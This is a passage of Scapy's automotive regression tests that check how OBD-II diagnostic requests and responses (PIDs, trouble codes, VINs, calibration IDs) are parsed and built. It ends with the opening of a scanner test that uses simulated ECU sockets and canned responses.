assert p.iid[0] == 0x00 = Check dissecting a request for Service 09 IID 02 p = OBD(b'\x09\x02') assert p.service == 0x09 assert p.iid[0] == 0x02 = Check dissecting a request for Service 09 IID 04 p = OBD(b'\x09\x04') assert p.service == 0x09 assert p.iid[0] == 0x04 = Check dissecting a request for Service 09 IID 00 and IID 02 and IID 04 p = OBD(b'\x09\x00\x02\x04') assert p.service == 0x09 assert p.iid[0] == 0x00 assert p.iid[1] == 0x02 assert p.iid[2] == 0x04 = Check dissecting a request for Service 09 IID 0A p = OBD(b'\x09\x0A') assert p.service == 0x09 assert p.iid[0] == 0x0A = Check dissecting a response for Service 01 PID 75 p = OBD(b'\x41\x75\x0a\x00\x11\x22\x33\x44\x55') assert p.service == 0x41 assert p.data_records[0].pid == 0x75 assert p.data_records[0].reserved == 0 assert p.data_records[0].turbo_a_turbine_outlet_temperature_supported == 1 assert p.data_records[0].turbo_a_turbine_inlet_temperature_supported == 0 assert p.data_records[0].turbo_a_compressor_outlet_temperature_supported == 1 assert p.data_records[0].turbo_a_compressor_inlet_temperature_supported == 0 assert p.data_records[0].turbocharger_a_compressor_inlet_temperature == 0x00-40 assert p.data_records[0].turbocharger_a_compressor_outlet_temperature == 0x11-40 assert p.data_records[0].turbocharger_a_turbine_inlet_temperature == \ round((0x2233 * 0.1) - 40, 3) assert p.data_records[0].turbocharger_a_turbine_outlet_temperature == \ round((0x4455 * 0.1) - 40, 3) r = OBD(b'\x01\x75') assert p.answers(r) = Check dissecting a response for Service 01 PID 00 and PID 20 p = OBD(b'\x41\x00\xBF\xBF\xA8\x91\x20\x80\x00\x00\x00') assert p.service == 0x41 assert p.data_records[0].pid == 0 assert p.data_records[0].supported_pids == "PID20+PID1C+PID19+PID15+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID09+PID08+PID07+PID06+PID05+PID04+PID03+PID01" assert p.data_records[1].pid == 0x20 assert p.data_records[1].supported_pids == "PID21" assert len(p.data_records) == 2 r = OBD(b'\x01\x00\x20') assert p.answers(r) = Check dissecting a response for Service 01 PID 05,01,15,0C,03 p = OBD(b'\x41\x05\x6e\x01\x83\x33\xff\x63\x15\xa0\x78\x0c\x0a\x6b\x03\x02\x00') p.show() assert p.service == 0x41 assert p.data_records[0].pid == 5 assert p.data_records[0].data == 70.0 assert p.data_records[1].pid == 0x1 assert p.data_records[2].pid == 0x15 assert p.data_records[2].outputVoltage == 0.8 assert p.data_records[2].trim == -6.25 assert p.data_records[3].pid == 12 assert p.data_records[3].data == 666.75 assert p.data_records[4].pid == 3 assert p.data_records[4].fuel_system1 == 0x02 assert p.data_records[4].fuel_system2 == 0 assert len(p.data_records) == 5 r = OBD(b'\x01\x05\x01\x15\x0c\x03') assert p.answers(r) r = OBD(b'\x01\x05\x01\x15') assert not p.answers(r) r = OBD(b'\x01\x02') assert not p.answers(r) p = OBD(b'\x41\x00\xBF\xBF\xA8\x91\x20\x80\x00\x00\x00') p.show() assert p.service == 0x41 assert p.data_records[0].pid == 0 assert p.data_records[0].supported_pids == "PID20+PID1C+PID19+PID15+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID09+PID08+PID07+PID06+PID05+PID04+PID03+PID01" assert p.data_records[1].pid == 0x20 assert p.data_records[1].supported_pids == "PID21" assert len(p.data_records) == 2 r = OBD(b'\x01\x00\x20') assert p.answers(r) = Check dissecting a response for Service 01 PID 78 p = OBD(b'\x41\x78ABCDEFGHI') assert p.service == 0x41 assert p.data_records[0].pid == 0x78 assert p.data_records[0].reserved == 4 assert p.data_records[0].sensor1_supported == 1 assert p.data_records[0].sensor2_supported == 0 assert p.data_records[0].sensor3_supported == 0 assert p.data_records[0].sensor4_supported == 0 assert p.data_records[0].sensor1 == 1656.3 assert p.data_records[0].sensor2 == 1707.7 assert p.data_records[0].sensor3 == 1759.1 assert p.data_records[0].sensor4 == 1810.5 r = OBD(b'\x01\x78') assert p.answers(r) = Check dissecting a response for Service 01 PID 7F p = OBD(b'\x41\x7F\x0a' b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF' b'\x01\x02\x03\x04\x05\x06\x07\x08' b'\x00\x11\x22\x33\x44\x55\x66\x77') assert p.service == 0x41 assert p.data_records[0].pid == 0x7F assert p.data_records[0].reserved == 1 assert p.data_records[0].total_with_pto_active_supported == 0 assert p.data_records[0].total_idle_supported == 1 assert p.data_records[0].total_supported == 0 assert p.data_records[0].total == 0xFFFFFFFFFFFFFFFF assert p.data_records[0].total_idle == 0x0102030405060708 assert p.data_records[0].total_with_pto_active == 0x0011223344556677 r = OBD(b'\x01\x7f') assert p.answers(r) = Check dissecting a response for Service 01 PID 89 p = OBD(b'\x41\x89ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP') assert p.service == 0x41 assert p.data_records[0].pid == 0x89 assert p.data_records[0].data == b'ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP' r = OBD(b'\x01\x89') assert p.answers(r) = Check dissecting a response for Service 02 PID 75 p = OBD(b'\x42\x75\01\x0a\x00\x11\x22\x33\x44\x55') assert p.service == 0x42 assert p.data_records[0].pid == 0x75 assert p.data_records[0].frame_no == 0x01 assert p.data_records[0].reserved == 0 assert p.data_records[0].turbo_a_turbine_outlet_temperature_supported == 1 assert p.data_records[0].turbo_a_turbine_inlet_temperature_supported == 0 assert p.data_records[0].turbo_a_compressor_outlet_temperature_supported == 1 assert p.data_records[0].turbo_a_compressor_inlet_temperature_supported == 0 assert p.data_records[0].turbocharger_a_compressor_inlet_temperature == 0x00 - 40 assert p.data_records[0].turbocharger_a_compressor_outlet_temperature == 0x11 - 40 assert p.data_records[0].turbocharger_a_turbine_inlet_temperature == \ round((0x2233 * 0.1) - 40, 3) assert p.data_records[0].turbocharger_a_turbine_outlet_temperature == \ round((0x4455 * 0.1) - 40, 3) r = OBD(b'\x02\x75\x00') assert p.answers(r) = Check dissecting a response for Service 02 PID 78 p = OBD(b'\x42\x78\x05ABCDEFGHI') assert p.service == 0x42 assert p.data_records[0].pid == 0x78 assert p.data_records[0].frame_no == 0x05 assert p.data_records[0].reserved == 4 assert p.data_records[0].sensor1_supported == 1 assert p.data_records[0].sensor2_supported == 0 assert p.data_records[0].sensor3_supported == 0 assert p.data_records[0].sensor4_supported == 0 assert p.data_records[0].sensor1 == 1656.3 assert p.data_records[0].sensor2 == 1707.7 assert p.data_records[0].sensor3 == 1759.1 assert p.data_records[0].sensor4 == 1810.5 r = OBD(b'\x02\x78\x00') assert p.answers(r) = Check dissecting a response for Service 02 PID 7F p = OBD(b'\x42\x7F\x01\x03' b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF' b'\x01\x02\x03\x04\x05\x06\x07\x08' b'\x00\x11\x22\x33\x44\x55\x66\x77') assert p.service == 0x42 assert p.data_records[0].pid == 0x7F assert p.data_records[0].frame_no == 0x01 assert p.data_records[0].reserved == 0 assert p.data_records[0].total_with_pto_active_supported == 0 assert p.data_records[0].total_idle_supported == 1 assert p.data_records[0].total_supported == 1 assert p.data_records[0].total == 0xFFFFFFFFFFFFFFFF assert p.data_records[0].total_idle == 0x0102030405060708 assert p.data_records[0].total_with_pto_active == 0x0011223344556677 r = OBD(b'\x02\x7F\x00') assert p.answers(r) = Check dissecting a response for Service 02 PID 89 p = OBD(b'\x42\x89\x01ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP') assert p.service == 0x42 assert p.data_records[0].pid == 0x89 assert p.data_records[0].frame_no == 0x01 assert p.data_records[0].data == b'ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP' r = OBD(b'\x02\x89\x00') assert p.answers(r) = Check dissecting a response for Service 02 PID 0C, 05, 04 p = OBD(b'\x42\x0c\x00\x20\x80\x04\x00\x80\x05\x00\x28') assert p.service == 0x42 assert p.data_records[0].pid == 0x0C assert p.data_records[0].frame_no == 0x0 assert p.data_records[0].data == 2080 assert p.data_records[1].pid == 0x04 assert p.data_records[1].frame_no == 0x0 assert p.data_records[1].data == 50.196 assert p.data_records[2].pid == 0x05 assert p.data_records[2].frame_no == 0x0 assert p.data_records[2].data == 0.0 r = OBD(b'\x02\x0c\x00\x04\x00\x05\x00') r.show() assert p.answers(r) = Check dissecting a response for Service 03 p = OBD(b'\x43\x06\x01\x43\x01\x96\x02\x34\x02\xcd\x03\x57\x0a\x24') assert p.service == 0x43 assert p.count == 6 assert bytes(p.dtcs[0]) == b'\x01\x43' assert bytes(p.dtcs[1]) == b'\x01\x96' assert bytes(p.dtcs[2]) == b'\x02\x34' assert bytes(p.dtcs[3]) == b'\x02\xcd' assert bytes(p.dtcs[4]) == b'\x03\x57' assert bytes(p.dtcs[5]) == b'\x0a\x24' r = OBD(b'\x03') assert p.answers(r) = Check dissecting a response for Service 07 p = OBD(b'\x47\x06\x01\x43\x01\x96\x02\x34\x02\xcd\x03\x57\x0a\x24') assert p.service == 0x47 assert p.count == 6 assert bytes(p.dtcs[0]) == b'\x01\x43' assert bytes(p.dtcs[1]) == b'\x01\x96' assert bytes(p.dtcs[2]) == b'\x02\x34' assert bytes(p.dtcs[3]) == b'\x02\xcd' assert bytes(p.dtcs[4]) == b'\x03\x57' assert bytes(p.dtcs[5]) == b'\x0a\x24' r = OBD(b'\x07') assert p.answers(r) = Check dissecting a response for Service 08 Tid 00 p = OBD(b'\x48\x00ABCD') assert p.service == 0x48 assert p.data_records[0].tid == 0x00 assert p.data_records[0].supported_tids == "TID1E+TID1A+TID18+TID17+TID12+TID0F+TID0A+TID08+TID02" r = OBD(b'\x08\x00') assert p.answers(r) = Check dissecting a response for Service 08 Tid 01 p = OBD(b'\x48\x01\x00\x00"\xffd') assert p.service == 0x48 assert p.data_records[0].tid == 0x01 assert p.data_records[0].data_a == 0.0 assert p.data_records[0].data_b == 0.0 assert p.data_records[0].data_c == 0.17 assert p.data_records[0].data_d == 1.275 assert p.data_records[0].data_e == 0.5 r = OBD(b'\x08\x01') assert p.answers(r) = Check dissecting a response for Service 08 Tid 05 p = OBD(b'\x48\x05\x00\x00\x2b\xff\x7d') assert p.service == 0x48 assert p.data_records[0].tid == 0x05 assert p.data_records[0].data_a == 0.0 assert p.data_records[0].data_b == 0.0 assert p.data_records[0].data_c == 0.172 assert p.data_records[0].data_d == 1.02 assert p.data_records[0].data_e == 0.5 r = OBD(b'\x08\x05') assert p.answers(r) = Check dissecting a response for Service 08 Tid 09 p = OBD(b'\x48\x09\x00\x00\x04\x1a\x0c') assert p.service == 0x48 assert p.data_records[0].tid == 0x09 assert p.data_records[0].data_a == 0.0 assert p.data_records[0].data_b == 0.0 assert p.data_records[0].data_c == 0.16 assert p.data_records[0].data_d == 1.04 assert p.data_records[0].data_e == 0.48 r = OBD(b'\x08\x09') assert p.answers(r) = Check dissecting a response for Service 09 IID 00 p = OBD(b'\x49\x00ABCD') assert p.service == 0x49 assert p.data_records[0].iid == 0x00 assert p.data_records[0].supported_iids == "IID1E+IID1A+IID18+IID17+IID12+IID0F+IID0A+IID08+IID02" r = OBD(b'\x09\x00') assert p.answers(r) = Check dissecting a response for Service 09 IID 02 with one VIN p = OBD(b'\x49\x02\x01W0L000051T2123456') assert p.service == 0x49 assert p.data_records[0].iid == 0x02 assert p.data_records[0].count == 0x01 assert p.data_records[0].vehicle_identification_numbers[0] == b'W0L000051T2123456' r = OBD(b'\x09\x02') assert p.answers(r) = Check dissecting a response for Service 09 IID 02 with two VINs p = OBD(b'\x49\x02\x02W0L000051T2123456W0L000051T2123456') assert p.service == 0x49 assert p.data_records[0].iid == 0x02 assert p.data_records[0].count == 0x02 assert p.data_records[0].vehicle_identification_numbers[0] == b'W0L000051T2123456' assert p.data_records[0].vehicle_identification_numbers[1] == b'W0L000051T2123456' r = OBD(b'\x09\x02') assert p.answers(r) = Check dissecting a response for Service 09 IID 04 with one CID p = OBD(b'\x49\x04\x01ABCDEFGHIJKLMNOP') assert p.service == 0x49 assert p.data_records[0].iid == 0x04 assert p.data_records[0].count == 0x01 assert p.data_records[0].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x04') assert p.answers(r) = Check dissecting a response for Service 09 IID 04 with two CID p = OBD(b'\x49\x04\x02ABCDEFGHIJKLMNOPABCDEFGHIJKLMNOP') assert p.service == 0x49 assert p.data_records[0].iid == 0x04 assert p.data_records[0].count == 0x02 assert p.data_records[0].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP' assert p.data_records[0].calibration_identifications[1] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x04') assert p.answers(r) = Check dissecting a response for Service 09 IID 06 p = OBD(b'\x49\x06\x02ABCDEFGH') assert p.service == 0x49 assert p.data_records[0].iid == 0x06 assert p.data_records[0].count == 0x02 assert p.data_records[0].calibration_verification_numbers[0] == b'ABCD' assert p.data_records[0].calibration_verification_numbers[1] == b'EFGH' r = OBD(b'\x09\x06') assert p.answers(r) = Check dissecting a response for Service 09 IID 08 p = OBD(b'\x49\x08\x09\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00\x08\xFF\xFF') assert p.service == 0x49 assert p.data_records[0].iid == 0x08 assert p.data_records[0].count == 0x09 assert p.data_records[0].data[0] == 1 assert p.data_records[0].data[1] == 2 assert p.data_records[0].data[2] == 3 assert p.data_records[0].data[3] == 4 assert p.data_records[0].data[4] == 5 assert p.data_records[0].data[5] == 6 assert p.data_records[0].data[6] == 7 assert p.data_records[0].data[7] == 8 assert p.data_records[0].data[8] == 65535 r = OBD(b'\x09\x08') assert p.answers(r) = Check dissecting a response for Service 09 IID 0A p = OBD(b'\x49\x0A\x01ECM\x00-Engine Control\x00') assert p.service == 0x49 assert p.data_records[0].iid == 0x0A assert p.data_records[0].count == 0x01 assert p.data_records[0].ecu_names[0] == b'ECM\x00-Engine Control\x00' r = OBD(b'\x09\x0a') assert p.answers(r) = Check dissecting a response for Service 09 IID 0B p = OBD(b'\x49\x0B\x05\x00\x01\x00\x02\x00\x03\x00\x04\xFF\xFF') assert p.service == 0x49 assert p.data_records[0].iid == 0x0B assert p.data_records[0].count == 0x05 assert p.data_records[0].data[0] == 1 assert p.data_records[0].data[1] == 2 assert p.data_records[0].data[2] == 3 assert p.data_records[0].data[3] == 4 assert p.data_records[0].data[4] == 65535 r = OBD(b'\x09\x0b') assert p.answers(r) = Check dissecting a response for Service 09 IID 02 and IID 04 p = OBD(b'\x49\x02\x01ABCDEFGHIJKLMNOPQ\x04\x01ABCDEFGHIJKLMNOP') assert p.service == 0x49 assert p.data_records[0].iid == 0x02 assert p.data_records[0].count == 0x01 assert p.data_records[0].vehicle_identification_numbers[0] == b'ABCDEFGHIJKLMNOPQ' assert p.data_records[1].iid == 0x04 assert p.data_records[1].count == 0x01 assert p.data_records[1].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x02\x04') assert p.answers(r) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x02' assert b[2:3] == b'\x01' assert b[3:20] == b'ABCDEFGHIJKLMNOPQ' assert b[20:21] == b'\x04' assert b[21:22] == b'\x01' assert b[22:] == b'ABCDEFGHIJKLMNOP' = Check building a request for Service 01 PID 00 p = OBD()/OBD_S01(pid=0x00) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x00' = Check building a request for Service 01 PID 75 p = OBD()/OBD_S01(pid=0x75) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x75' = Check building a request for Service 01 PID 78 p = OBD()/OBD_S01(pid=0x78) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x78' = Check building a request for Service 01 PID 7F p = OBD()/OBD_S01(pid=0x7F) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x7F' = Check building a request for Service 01 PID 89 p = OBD()/OBD_S01(pid=0x89) b = bytes(p) assert b[0:1] == b'\x01' assert b[1:2] == b'\x89' = Check building a request for Service 02 PID 00 p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x00, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x00' assert b[2:3] == b'\x01' = Check building a request for Service 02 PID 75 p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x75, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x75' assert b[2:3] == b'\x01' = Check building a request for Service 02 PID 78 p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x78, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x78' assert b[2:3] == b'\x01' = Check building a request for Service 02 PID 7F p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x7F, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x7F' assert b[2:3] == b'\x01' = Check building a request for Service 02 PID 89 p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x89, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x89' assert b[2:3] == b'\x01' = Check building a request for Service 03 p = OBD()/OBD_S03() assert p.service == 0x03 = Check building a request for Service 02 PID 7F p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x7F, frame_no=0x01)]) b = bytes(p) assert b[0:1] == b'\x02' assert b[1:2] == b'\x7F' assert b[2:3] == b'\x01' = Check building a request for Service 09 IID 00 p = OBD()/OBD_S09(iid=0x00) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x00' = Check building a request for Service 09 IID 02 p = OBD()/OBD_S09(iid=0x02) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x02' = Check building a request for Service 09 IID 04 p = OBD()/OBD_S09(iid=0x04) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x04' = Check building a request for Service 09 IID 00 and IID 02 and IID 04 p = OBD()/OBD_S09(iid=[0x00, 0x02, 0x04]) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x00' assert b[2:3] == b'\x02' assert b[3:4] == b'\x04' = Check building a request for Service 09 IID 0A p = OBD()/OBD_S09(iid=0x0A) b = bytes(p) assert b[0:1] == b'\x09' assert b[1:2] == b'\x0A' = Check building a response for Service 03 p = OBD()/OBD_S03_PR(dtcs=[OBD_DTC(), OBD_DTC(location='Powertrain', code1=1, code2=3, code3=0, code4=1)]) b = bytes(p) assert b[0:1] == b'\x43' assert b[1:2] == b'\x02' assert b[2:4] == b'\x00\x00' assert b[4:6] == b'\x13\x01' r = OBD(b'\x03') assert p.answers(r) = Check building a default response for Service 03 p = OBD()/OBD_S03_PR() b = bytes(p) assert len(p) == 2 assert b[0:1] == b'\x43' assert b[1:2] == b'\x00' assert p.dtcs == [] r = OBD(b'\x03') assert p.answers(r) = Check building a response for Service 07 p = OBD()/OBD_S07_PR(dtcs=[OBD_DTC(location='Chassis', code1=0, code2=5, code3=1, code4=0)]) b = bytes(p) assert b[0:1] == b'\x47' assert b[1:2] == b'\x01' assert b[2:4] == b'\x45\x10' r = OBD(b'\x07') assert p.answers(r) = Check building a default response for Service 07 p = OBD()/OBD_S07_PR() b = bytes(p) assert len(p) == 2 assert b[0:1] == b'\x47' assert b[1:2] == b'\x00' assert p.dtcs == [] r = OBD(b'\x07') assert p.answers(r) = Check building a response for Service 0A p = OBD()/OBD_S0A_PR(dtcs=[OBD_DTC(), OBD_DTC(location='Body', code1=1, code2=7, code3=8, code4=2), OBD_DTC()]) b = bytes(p) assert b[0:1] == b'\x4A' assert b[1:2] == b'\x03' assert b[2:4] == b'\x00\x00' assert b[4:6] == b'\x97\x82' assert b[6:8] == b'\x00\x00' r = OBD(b'\x0a') assert p.answers(r) = Check building a default response for Service 0A p = OBD()/OBD_S0A_PR() b = bytes(p) assert len(p) == 2 assert b[0:1] == b'\x4A' assert b[1:2] == b'\x00' assert p.dtcs == [] r = OBD(b'\x0a') assert p.answers(r) = Check building a response for Service 09 IID 00 p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID00(b'ABCD')) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x00' assert b[2:] == b'ABCD' r = OBD(b'\x09\x00') assert p.answers(r) = Check building a response for Service 09 IID 02 with one VIN p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=b'W0L000051T2123456')) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x02' assert b[2:3] == b'\x01' assert b[3:] == b'W0L000051T2123456' r = OBD(b'\x09\x02') assert p.answers(r) = Check building a response for Service 09 IID 02 with two VINs p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=[b'W0L000051T2123456', b'W0L000051T2123456'])) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x02' assert b[2:3] == b'\x02' assert b[3:20] == b'W0L000051T2123456' assert b[20:] == b'W0L000051T2123456' r = OBD(b'\x09\x02') assert p.answers(r) = Check building a response for Service 09 IID 04 with one CID p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=b'ABCDEFGHIJKLMNOP')) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x04' assert b[2:3] == b'\x01' assert b[3:] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x04') assert p.answers(r) = Check building a response for Service 09 IID 04 with two CID p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=[b'ABCDEFGHIJKLMNOP', b'ABCDEFGHIJKLMNOP'])) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x04' assert b[2:3] == b'\x02' assert b[3:19] == b'ABCDEFGHIJKLMNOP' assert b[19:] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x04') assert p.answers(r) = Check building a response for Service 09 IID 0A p = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID0A(ecu_names=b'ABCDEFGHIJKLMNOPQRST')) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x0A' assert b[2:3] == b'\x01' assert b[3:] == b'ABCDEFGHIJKLMNOPQRST' r = OBD(b'\x09\x0a') assert p.answers(r) = Check building a response for Service 09 IID 02 and IID 04 p = OBD(service=0x49)/OBD_S09_PR(data_records=[ OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=b'ABCDEFGHIJKLMNOPQ'), OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=b'ABCDEFGHIJKLMNOP') ]) b = bytes(p) assert b[0:1] == b'\x49' assert b[1:2] == b'\x02' assert b[2:3] == b'\x01' assert b[3:20] == b'ABCDEFGHIJKLMNOPQ' assert b[20:21] == b'\x04' assert b[21:22] == b'\x01' assert b[22:] == b'ABCDEFGHIJKLMNOP' r = OBD(b'\x09\x02\x04') assert p.answers(r) ================================================ FILE: test/contrib/automotive/obd/scanner.uts ================================================ % Regression tests for obd_scan ~ scanner + Configuration ~ conf = Imports from test.testsocket import TestSocket, cleanup_testsockets from scapy.contrib.automotive.ecu import * # noqa: F403 = Load contribution layer load_contrib("automotive.obd.obd", globals_dict=globals()) load_contrib("automotive.obd.scanner", globals_dict=globals()) = Create sockets ecu = TestSocket(OBD) tester = TestSocket(OBD) ecu.pair(tester) = Create answers responses = [ EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=0)/OBD_PID00(supported_pids=3191777299)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=1)/OBD_PID01(mil=0, dtc_count=0, reserved1=0, continuous_tests_ready=0, reserved2=0, continuous_tests_supported=7, once_per_trip_tests_supported=225, once_per_trip_tests_ready=0)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=11)/OBD_PID0B(data=44)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=12)/OBD_PID0C(data=857.0)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=13)/OBD_PID0D(data=0)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=14)/OBD_PID0E(data=3.5)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=15)/OBD_PID0F(data=22.0)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=17)/OBD_PID11(data=14.51)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=19)/OBD_PID13(sensors_present=3)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=21)/OBD_PID15(outputVoltage=1.275, trim=99.219)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=28)/OBD_PID1C(data=6)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=3)/OBD_PID03(fuel_system1=2, fuel_system2=0)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=31)/OBD_PID1F(data=13)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=32)/OBD_PID20(supported_pids=2684465153)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=33)/OBD_PID21(data=0)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=35)/OBD_PID23(data=24910)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=4)/OBD_PID04(data=9.804)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=48)/OBD_PID30(data=19)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=49)/OBD_PID31(data=3587)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=5)/OBD_PID05(data=41.0)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=51)/OBD_PID33(data=97)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=52)/OBD_PID34(equivalence_ratio=1.001, current=128.004)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=6)/OBD_PID06(data=0.0)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=64)/OBD_PID40(supported_pids=244352000)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=69)/OBD_PID45(data=3.922)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=7)/OBD_PID07(data=-0.781)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=70)/OBD_PID46(data=20.0)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=71)/OBD_PID47(data=12.549)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=73)/OBD_PID49(data=5.49)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=76)/OBD_PID4C(data=3.922)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=81)/OBD_PID51(data=1)])), EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=86)/OBD_PID56(bank1=0.0)])), EcuResponse(responses=OBD(service=67)/OBD_S03_PR(count=0)), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=0)/OBD_MID00(supported_mids=3221225473)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=1)/OBD_MIDXX(standardized_test_id=131, unit_and_scaling_id=4, test_value=0.0, min_limit=0.0, max_limit=1.0),OBD_S06_PR_Record(mid=1)/OBD_MIDXX(standardized_test_id=138, unit_and_scaling_id=132, test_value=0.996, min_limit=-32.768, max_limit=1.06),OBD_S06_PR_Record(mid=1)/OBD_MIDXX(standardized_test_id=139, unit_and_scaling_id=132, test_value=0.996, min_limit=0.94, max_limit=32.767)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=128)/OBD_MID80(supported_mids=1)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=160)/OBD_MIDA0(supported_mids=4160749568)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=161)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535)])), EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=162)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=162)/OBD_MIDXX(standardized_test_id=11, 